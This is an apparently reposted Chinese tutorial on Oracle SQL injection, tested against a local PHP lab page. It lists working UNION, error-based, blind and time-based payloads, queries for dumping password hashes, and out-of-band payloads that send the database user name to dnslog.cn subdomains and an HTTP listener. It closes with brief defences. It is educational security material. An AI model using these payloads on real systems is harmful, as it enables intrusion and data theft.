Oracle 极速入门
我们可以把 Database(数据库) 看作是一个大仓库,仓库分了很多很多的房间,Schema 就是其中的房间,一个 Schema 代表一个房间,Table 可以看作是每个Schema 中的床,Table(表)被放入每个房间中,不能放置在房间之外,放在外面岂不是就是无家可归了。然后床上可以放置很多物品,就好比 Table 上可以放置很多列和行一样。数据库中存储数据的基本单元是 Table,对应现实中每个仓库放置物品的基本单位就是床, User(用户) 就是每个 Schema 的主人(所以 Schema 包含的是 Object,而不是 User),User 和 Schema 是一一对应的,每个 User 在没有特别指定下只能使用自己 Schema(房间)的东西,如果一个 User 想使用其他 Schema(房间)的东西,那就要看那个 Schema(房间)的 User(主人)有没有给你这个权限了,或者看这个仓库的老大(DBA)有没有给你这个权限了。换句话说,如果你是某个仓库的主人,那么这个仓库的使用权和仓库中的所有东西都是你的(包括房间),你有完全的操作权,可以扔掉不用的东西从每个房间,也可以放置一些有用的东西到某一个房间,你还可以给每个 User 分配具体的权限,也就是规定某 User(某人)到 某一个 Schema(某一个房间)能做些什么,是只能看(Read-Only),还是可以像房间主人一样有所有的控制权(R/W)。这个就要看这个 User 所对应的 Role(角色)了。假如你是仓库的老大(DBA),你还可以设计一张工卡(角色),分为普通用户与 vip,拥有 vip 工卡的人,可以拥有你的权限。工卡(角色)并不指代具体的用户,只是权限的集合。
基本概念
Oracle 中有三个重要的基本概念:数据库实例
、数据库
、SID
。
Oracle 的数据库实例(Instance)其实是后台进程
和 SGA
的总称:
后台进程
:负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求。SGA
:全称为System Global Area
,即系统全局区域
。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志等信息,由后台进程进行共享。
而通常数据库实例会用一个唯一标识来标识,这个标识符便称为 SID
(System Identifier)。
数据库
一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件
和 Redo 日志
。数据库一般位于 $ORACLE_HOME/oradata/SID
,SID 对应创建数据库时指定的实例 SID,数据文件以 *.dbf
的形式存放。
首先,数据库实例
和数据库
并不是必须相互依赖而存在的。当实例启动时,可以不关联任何数据库。数据库可以存在于磁盘,不附加到任何实例,当然这样无法与用户进行交互。一般而言,数据库附加到实例中,与其进行关联,是一对一的关系。但是在集群环境下,一个数据库可以对应多个实例,这些实例分布在不同的服务器上。但反过来,一个实例只能对应一个数据库。
数据结构
表空间
相对于其他数据库,Oracle 中有一个比较特殊的概念:表空间
(Tablespace)。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库:
如上图,当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM
、SYSAUX
、USERS
、UNDOTBS
、TEMP
:
- SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
- SYSAUX:类似于
SYSTEM
,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担 - UNDOTBS:用于事务回退等
- TEMP:作为缓存空间减少内存负担
- USERS:就是存储我们定义的表和数据
Schema
Oracle 数据库支持多用户,用户想在同个数据库中创建相同名称的表或其他歧义数据,该怎么办?
Oracle 中使用 Schema
的概念将每个用户的数据进行分离,Schema 其实类似于命名空间
(Namespace),默认情况下,Schema 的名称同用户名称相同。
Schema
和表空间
是一个层次的概念,它们都有一个很重要的特性,就是对表的独占性。Schema 是表的逻辑集合,是所有应用访问表必须指定的对象(一般都省略了,但是实际上一定是 db.schema.table
这种访问模式,例如访问 scott
用户下的 emp 表,这时 Schema 的名称也为 scott
,而 select from emp
这条 sql 语句的完整写法为:select from scott.emp
),同一张表不可能既属于这个 Schema,又属于另一个 Schema。表空间是表的物理集合,是所有磁盘读写必须访问的文件(一般由 Oracle 管理,个性化的需求DBA 管理),同一张表也不可能既放在这个表空间,又放在那个表空间。
权限与用户管理
权限和角色
Oracle 中划分了许多用户权限,权限的集合称为角色
。例如 CONNECT
角色具有连接到数据库权限,RESOURCE
能进行基本的 CURD
操作(即,增加:create,修改:update,查找:read,删除:delete),DBA
则集合了所有的用户权限。
用户
创建数据库时,会默认启用 sys
、system
等用户:
- sys:相当于 Linux 下的 root 用户。为
DBA
角色 - system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为
DBA
角色。 - public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
一篇比较详细的 Oracle 权限管理的博文:传送门🚪
基本语法
按照 MySQL 注入的学习方法,先从语法入手:
1 |
select column, group_function(column) |
执行过程:from — where — group by — having — select — order by
可以看出,和 MySQL 很类似。实际上都是 SQL 标准的语法。
与MySql异同
注意
- 以下加了
-- priv
的语句说明需要管理员权限 - 虽然 Oracle 没有类似 MySQL 的
数据库
的概念,而是用表空间
来代替:一个 Oracle 只有一个数据库,它给账户开辟数据库空间,称之为表空间(TableSpace)
,创建数据库就是开辟账户的表空间。为了叙述的方便,我将 Oracle 的表空间
也称为数据库
语法
-
Oracle中select 必须要指明表名。若并非对真实的表进行查询,则需要用
dual
作为表名,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。。 -
单引号与双引号:Oracle 的单引号与 MySQL 一直,但是双引号用于消除系统关键字。例如,有个表的字段叫
sysdate
,因为sysdate
属于oracle
中的关键字,但你要查询这个字段的时候,就需要select "sysdate" from dual;
,若用select 'sysdate' from table_name;
查询就相当于select sysdate from table_name;
,而sysdate
用于获得当前时间。 -
第 n 行的数据:
SELECT colmn_name FROM (SELECT ROWNUM r, table_name FROM users ORDER BY colmn_name) WHERE r=n;
:select colmn_name from table_name limit n, 1;
-
Oracle中limit应该使用虚表中的rownum字段通过where条件判断
1
select * from pyy where rownum = 1; #查询一行
-
Oracel的单行注释符是–,多行注释符是/**/
-
拼接字符:
SELECT 'a' || 'b' FROM dual;
:select 'a' 'b'
-
case 语法
:SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;
:SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;
-
Oracle 中空字符串
''
就是null
(也就是说,只有null
,没有空字符),而 MySQL 是区分null
和''
的。
系统表
- dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
- all_tables : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
- user_tables: 当前用户名下的表的信息
- DBA_ALL_TABLES:
DBA
用户所拥有的或有访问权限的对象和表 - ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表
总结:
DBA_TABLES >= ALL_TABLES >= USER_TABLES
DBA_ALL_TABLES >= ALL_ALL_TABLES >= USER_ALL_TABLES
user_tables
的范围最小,all_tables
看到的东西稍多一些,而 dba_tables
的信息最全
同样,user_tab_columns
、all_tab_columns
、dba_tab_columns
也是一样的。
获取数据库信息
描述:Oracle
: MySQL
- 服务器版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
或者SELECT version FROM v$instance;
:select version()
- 操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';
:@@version_compile_os
- 当前数据库:
SELECT global_name FROM global_name;
或者SELECT name FROM v$database;
或者SELECT instance_name FROM v$instance;
或者SELECT SYS.DATABASE_NAME FROM DUAL;
:select database()
- 获取当前用户权限的所有数据库:
SELECT DISTINCT owner, table_name FROM all_tables;
- 表名:
SELECT table_name FROM all_tables;
:select table_name from information_schema.tables
- 字段名:
SELECT column_name FROM all_tab_columns
:select COLUMN_NAME from information_schema.COLUMNS
获取用户信息
描述:Oracle
: MySQL
- 当前数据库用户:
SELECT user FROM dual;
:user()
- 所有数据库用户:
SELECT username FROM all_users ORDER BY username;
或者SELECT name FROM sys.user$; -- priv
:select user from mysql.user;
- 所有数据库用户的密码 hash:
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g
或者SELECT name, spare4 FROM sys.user$; -- priv, >= 11g
: - 当前用户的权限:
SELECT * FROM session_privs;
:show grants;
- 所有用户的权限:
SELECT * FROM dba_sys_privs -- priv
:select Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv from mysql.user; -- priv, mysql.user 中各种以 _priv 结尾的字段
- 用户角色:
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
或者SELECT DISTINCT grantee FROM dba_sys_privs
:select user, Super_priv from mysql.user;
函数
两者相同
数学函数 ROUND、ABS、CEIL、FLOOR、MAX、MIN
字符串函数 ASCII、CHAR、REPLACE、SUBSTRING、INSTR、LOCATE、LPAD、UPPER、LOWER
两者不同
描述:Oracle
: MySQL
- 按位与:
SELECT bitand(6, 2) FROM dual;
:select 6 & 2
- 字符串转 hex:
select utl_raw.cast_to_raw('admin') from dual;
:hex()
- 查找子串:
select INSTR('sdsq', 's', 2) value from dual -- 要求从位置 2 开始
:select INSTR('sdsq', 's') value -- 从默认的位置 1 开始,无法改变
- SUBSTR:MySQL 有,Oracle 无,但是 Oracle 可用
substring
代替 - 求字符长度:
LENGTH
:CHAR_LENGTH
- 求字节长度:
LENGTHB
:LENGTH
- “case”:
select decode('s', 's', 'n', 'none') from dual; -- decode(条件, 值 1, 翻译值 1, 值 2, 翻译值2 , ...值 n, 翻译值 n, 缺省值)
:用 case 实现
- 时延:
select DBMS_PIPE.RECEIVE_MESSAGE('任意值', 1) from dual;
:sleep(1)
。除此之外时延还可以利用select count(*) from all_objects;
来,原理是需要花费较多时间去查询所有数据库的条目。另外,利用带外通道
发起网络请求,也有可能造成时延。 - SYS_CONTEXT
系统启动时,在userenv
中存储了一些系统上下文信息,通过SYS_CONTEXT
函数,我们可以取回相应的参数值。包括当前用户名等等。
更多可用参数说明可以查阅 Oracle 提供的文档:SYS_CONTEXT
更多非函数的语句区别可以见这个博文:传送门🚪
常用SQL语句
获取数据库版本
1 |
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; |
注:v$version视图在sys表空间下,只有BANNER一列,数据库的版本就在第一行,所以一般不用like,只需where rownum = 1
即可
返回的字段为:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
所以延时注入时,快速查版本号使用select * from v%instance;
语句
获取操作系统版本
1 |
SELECT banner FROM v$version where banner like 'TNS%'; |
1 |
SELECT member from v$logfile WHERE rownum=1; --依据路径判断服务器操作系统 |
获取用户相关信息
1 |
获取数据库所有用户: |
获取当前数据库(SID)
1 |
SELECT global_name FROM global_name; |
global_name也是单列
获取表名和字段名
1 |
SELECT DISTINCT owner FROM all_tables; --列出所有数据库名 |
distinct去重
1 |
select TABLESPACE_NAME FROM USER_TABLESPACES;--查看所有的表空间 |
环境搭建
使用Kitematic搜索oracle11
安装后查看配置文件和DOC说明
随便启动一个apache
ORACLE注入PHP-demo如下:
修改其中的HOST、PORT和SID和依据自己的数据库随便一条注入语句即可。
1 |
<!DOCTYPE html> |
http://127.0.0.1/oracle.php?id=IT_PROG
可以执行则搭建成功。
联合注入
正常执行,回显如下图
select * from hr.JOB_HISTORY where JOB_ID=’IT_PROG’ union select 1,null,null,(select banner from sys.v_$version where rownum=1),null from dual–’
判断列数
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' order by 6-- |
报错,则为5列
联合注入
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select null,null,null,null,null from dual-- |
判断每个字段的数据类型
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,'4',null from dual-- |
如下图:判断为第一列int型,第四列char型
报错如下,则为前后的数据类型不匹配:
1 |
Warning: oci_fetch_row(): ORA-24374: define not done before fetch or execute and fetch in D:\phpStudy_x64_8.0.1\WWW\oracle.php on line 27 |
存疑:DATA类型如何转换?如何注入?
判断当前数据库的用户
payload:select SYS_CONTEXT('USERENV','CURRENT_USER') from dual
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),null from dual-- |
判断当前数据库的版本
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select banner from sys.v_$version where rownum=1),null from dual-- |
暴破数据库名
payload:select owner from all_tables where rownum=1
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1),null from dual-- |
为SYS
判断下一个数据库
关键payload: owner <>'SYS'
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1 and owner <>'SYS'),null from dual-- |
为:OUTLN
判断下下个数据库
关键payload:and owner <>'SYS' and owner <>'OUTLN'
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' and owner <>'OUTLN'),null from dual-- |
得到的数据库有:SYS、OUTLN、SYSTEM
后续可以不断的去暴破,直到暴破所有的数据库名为止(报错即为没有下一个数据库了)。
注意:表一定要大写。
当前用户的表的获取
payload:select table_name from user_tables where rownum=1
(select table_name from all_tables 查看所有表
)
得到表名LOGMNR_SESSION_EVOLVE$
同样使用 and table_name <>'LOGMNR_SESSION_EVOLVE$'
遍历所有的表名
同时注意此处得到的表名有可能重复,加上distinct去重
即:select distinct table_name from user_tables where rownum=1 and table_name <> 'LOGMNR_SESSION_EVOLVE$'
获取字段名
payload:select column_name from user_tab_columns where table_name='XXX' and rownum=1
获取第一列:
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and rownum=1),null from dual-- |
得到第一列:BRANCH_LEVEL
获取第二列:
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and rownum=1 and column_name<>'BRANCH_LEVEL'),null from dual-- |
得到第二列:SESSION#
暴数据
以hr库中的COUNTER表为例
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select CONCAT(COUNTRY_ID,COUNTRY_NAME) from hr.COUNTRIES where rownum=1),null from dual-- |
select CONCAT(COUNTRY_ID,COUNTRY_NAME,REGION_ID) from hr.COUNTRIES会报错,因为REGION_ID为int类型
oracle的字符连接用||符号,或者用concat,但是concat只能连接字符串(可以嵌套实现连接多个字符串),输出不友好,所以我这里用||符号连接输出的字符串
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select COUNTRY_ID||'~'||COUNTRY_NAME||'~'||REGION_ID from hr.COUNTRIES where rownum=1),null from dual-- |
报错注入
判断注入点
payload:select count(*) from user_tables
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and (select count (*) from user_tables)>0 -- |
>0
可以正常执行,<0
执行异常,则存在注入点
报错函数
utl_inaddr.get_host_name( )
获取ip 地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。
payload:1=utl_inaddr.get_host_name(select user from dual)
添加几个飘号容易识别
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=utl_inaddr.get_host_name((select '~'||user||'~' from dual))-- |
ctxsys.drithsx.sn():
1 |
1=ctxsys.drithsx.sn(1,(select user from dual)) |
该函数在查询关于主题的对应关键词时,会报错显示出第二个参数的结果
XMLType():
1 |
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null -- |
dbms_xdb_version.checkin()
1 |
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null-- |
bms_xdb_version.makeversioned()
1 |
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null -- |
dbms_xdb_version.uncheckout()
1 |
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null -- |
dbms_utility.sqlid_to_sqlhash()
1 |
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null -- |
ordsys.ord_dicom.getmappingxpath()
1 |
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)-- |
decode()
1 |
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) -- |
注意:decode()不会显示报错信息,需要通过页面来判断。当substr(user,1,1)=‘S’页面报错,其他情况页面无报错也不会显示数据。类似盲注。
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)
意思是:当条件等于值1时就得到返回值1~~~~
eg:
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) -- |
上述测试结果为页面正常,不显示任何数据,也不报错。
显示如下的结果,说明当前用户的首字母是S,代码decode(substr(user,1,1),’S’,(1/0),0)中
substr(user,1,1)=’S’时,就返回(1/0)的值,但是0不能为分母,所以报错!
其他的暴数据库、表、字段的过程和之前一致。
布尔盲注
在Oracle布尔盲注实验中,可以是普通猜解的方法也可以使用某些函数来辅助猜解,如前面提到的decode函数,以及instr函数等。接下来我们测试普通猜解方法、decode方法和instr方法。
普通猜解方法(substr+ascii)
获取当前用户下的数据表长度
payload:SELECT LENGTH(table_name) from user_tables where rownum=1
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 19=(SELECT LENGTH(table_name) from all_tables where rownum=1)-- |
页面正常显示,判断当前的用户下表长度为19
获取数据表名的每个字符
猜测数据库表的每个字符,使用字符截取函数substr和ascii函数
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 68=((select ascii(substr(table_name,1,1)) from all_tables WHERE rownum=1))-- |
substr(string, start,length)
只有页面正常显示才能推出每个字符的ASCII码。当前数据表的首字母的ASCII是65,也即A,同理依次遍历得到数据表名。
获取数据表的字段长度
以HR.COUNTRIES表为例,
payload:select LENGTH(column_name) from user_tab_columns where table_name=’XXX’ and rownum=1
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 10=(select LENGTH(COLUMN_NAME) from all_tab_columns where table_name='COUNTRIES' and rownum=1)-- |
没有报错,显示正常,说明长度为10
获取数据表下的字段名的每个字符
payload:select ascii(substr(column_name,1,1)) from all_tab_columns where table_name=’XXX’ and rownum=1
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 67=(select ascii(substr(column_name,1,1)) from all_tab_columns where table_name='COUNTRIES' and rownum=1)-- |
页面显示正常,则说明第一个字符为C,这个过程也可以用burp去暴破
ASCII码范围:0~127
获取字段长度
payload:select length(CONCAT(COUNTRY_ID,COUNTRY_NAME)) from XXX where rownum=1
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 11=(select length(CONCAT(COUNTRY_ID,COUNTRY_NAME)) from hr.COUNTRIES where rownum=1)-- |
获取字段内容的每个字符
payload:select CONCAT(COUNTRY_ID,COUNTRY_NAME) from XXX where rownum=1
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 65=(select ascii(substr(CONCAT(COUNTRY_ID,COUNTRY_NAME),1,1)) from hr.COUNTRIES where rownum=1)-- |
逐个遍历即可得到完整字段内容。
注:1、有时候直接使用substr也可以进行注入,加入burp遍历更方便,不用依次转换ascii码的值。被过滤时,再考虑使用ascii转换
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 'A'=(select substr(CONCAT(COUNTRY_ID,COUNTRY_NAME),1,1) from hr.COUNTRIES where rownum=1)-- |
2、布尔盲注:先猜长度,再猜字段。
DECODE函数方式
Decode的使用方法:decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3
当然值1,值2,值3也可以是表达式
判断当前用户名长度
select decode(length(user),4,1,0) from dual
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(length(user),6,1,0) from dual)-- |
显示正常,说明用户长度为6
获取当前用户名内容的每个字符
select decode(substr(user,1,1),’S’,1,0) from dual
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'S',1,0) from dual)-- |
逐个遍历即可得到完整字段内容。
暴破表、字段内容的方法同上。
INSTR函数
函数instr的使用方法:instr(string1,string2),在string1中找到string2所在的位置,找到返回其索引。
eg:SELECT INSTR(‘substr’, ‘str’) from dual;
select instr((select user from dual),’TEST’) from dual; –返回值是1 说明用户中有TEST字符串
select instr((select length(user) from dual),4) from dual;– 返回值是1 说明用户的长度是4
select instr((select length(table_name) from user_tables where rownum=1),4) from dual; –返回值是1 说明当前用户的第一个表的名称长度是4
该如何判断名称每个字符呢?
select instr(substr((select table_name from user_tables where rownum=1),1,1),’D’) from dual; –返回值是1 书名表名的第一个字符是D,后续可以通过BP去暴破。
延时盲注
在Oracle延时注入利用过程中需要使用DECODE、DBMS_PIPE.RECEIVE_MESSAGE等函数来延时数据库的处理时间,最后测试者可以通过网页的加载时间来判断注入结果。
DECODE函数的使用方法此处不再讨论。
DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。
payload:and 1= dbms_pipe.receive_message(‘RDS’, 5)–
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 1= dbms_pipe.receive_message('RDS', 5)-- |
可以看到页面网络加载时间是5S,可以看到注入效果。注意该函数的返回值是1
后续步骤需要使用DECODE函数。
DECODE(condition,value,dbms_pipe.receive_message(‘RDS’, 5),0),意思是当condition=value就返回dbms_pipe.receive_message(‘RDS’, 5),那么页面就等待5秒时间,从而达到延时注入的目的。
payload:select decode(substr(user,1,1),’T’,dbms_pipe.receive_message(‘RDS’,5),0) from dual
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual)-- |
得到用户名SYSTEM
还有其他方式延时注入,如select count(*) from all_objects,大量统计操作很耗时,可以辅助延时注入,但是延长时间不好控制。
带外注入
方法一:utl_http.request()
select utl_http.request(“www.baidu.com") from dual;
eg:
1 |
select utl_http.request((select user from dual)||'.ljc08k.dnslog.cn') from dual; |
方法二:utl_inaddr.get_host_address()
select utl_inaddr.get_host_address(‘www.baidu.com') from dual;
1 |
select utl_inaddr.get_host_address((select user from dual)||'.m8146s.dnslog.cn') from dual; |
方法三:DBMS_LDAP.INIT()
select SYS.DBMS_LDAP.INIT((select user from dual)||’.aaaa.com’,80) from dual
注意第二个参数不能丢,否则报错如下:
1 |
ORA-06553: PLS-306: wrong number or types of arguments in call to 'INIT' |
eg:
1 |
SELECT DBMS_LDAP.INIT('uka9e0.dnslog.cn',80) FROM DUAL; |
1 |
select DBMS_LDAP.INIT((select user from dual)||'.uka9e0.dnslog.cn',80) from dual |
检测方法
utl_http.request()
payload:
1 |
and utl_http.request('http://ip:2333/'||(SELECT user FROM dual))=1 -- |
基本上每次都要60秒才回显到web,但是发送请求的那一刻,服务器就会收到消息。
web视图如下:
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and utl_http.request('http://ip:2333/'||(SELECT user FROM dual))=1 --' |
utl_inaddr.get_host_address()
payload:
1 |
and utl_inaddr.get_host_address((select user from dual)||'.29qo74.dnslog.cn')='1' -- |
web视图:
DBMS_LDAP.INIT()
payload:
1 |
and DBMS_LDAP.INIT((select user from dual)||'.113bm3.dnslog.cn',80)='1'-- |
web视图:
1 |
http://127.0.0.1/oracle.php?id=IT_PROG' and DBMS_LDAP.INIT((select user from dual)||'.113bm3.dnslog.cn',80)='1'-- |
报错未解决如下:有可能是数据库没有这几个函数
1 |
Warning: oci_execute(): ORA-00920: invalid relational operator |
Oracle注入防御
1、代码层防御技术
使用参数化查询语句、验证输入、规范化等技术,如JAVA中使用JDBC框架,C#使用ADO.NAT框架,PHP使用PDO架构等。Oracle PL/SQL 在数据库代码层也可以使用参数化方式去查询,它使用带有编号的冒号字符去绑定参数来达到防注入的目的[5][6]。
2、输入验证
任何输入的数据均是不可信的,可以对不可信数据进行验证,如使用黑白名单过滤等。在JAVA中可以使用定义一个输入验证类,实现javax.faces.validator.Validator接口,对用户输入进行验证。C#可以使用某些具有验证功能的控件对用户输入进行验证。PHP中可以使用正则表达式验证用户输入,或者使用特定功能函数判断输入是否合法。
3、输出编码
https://cloud.tencent.com/developer/article/1672145
https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论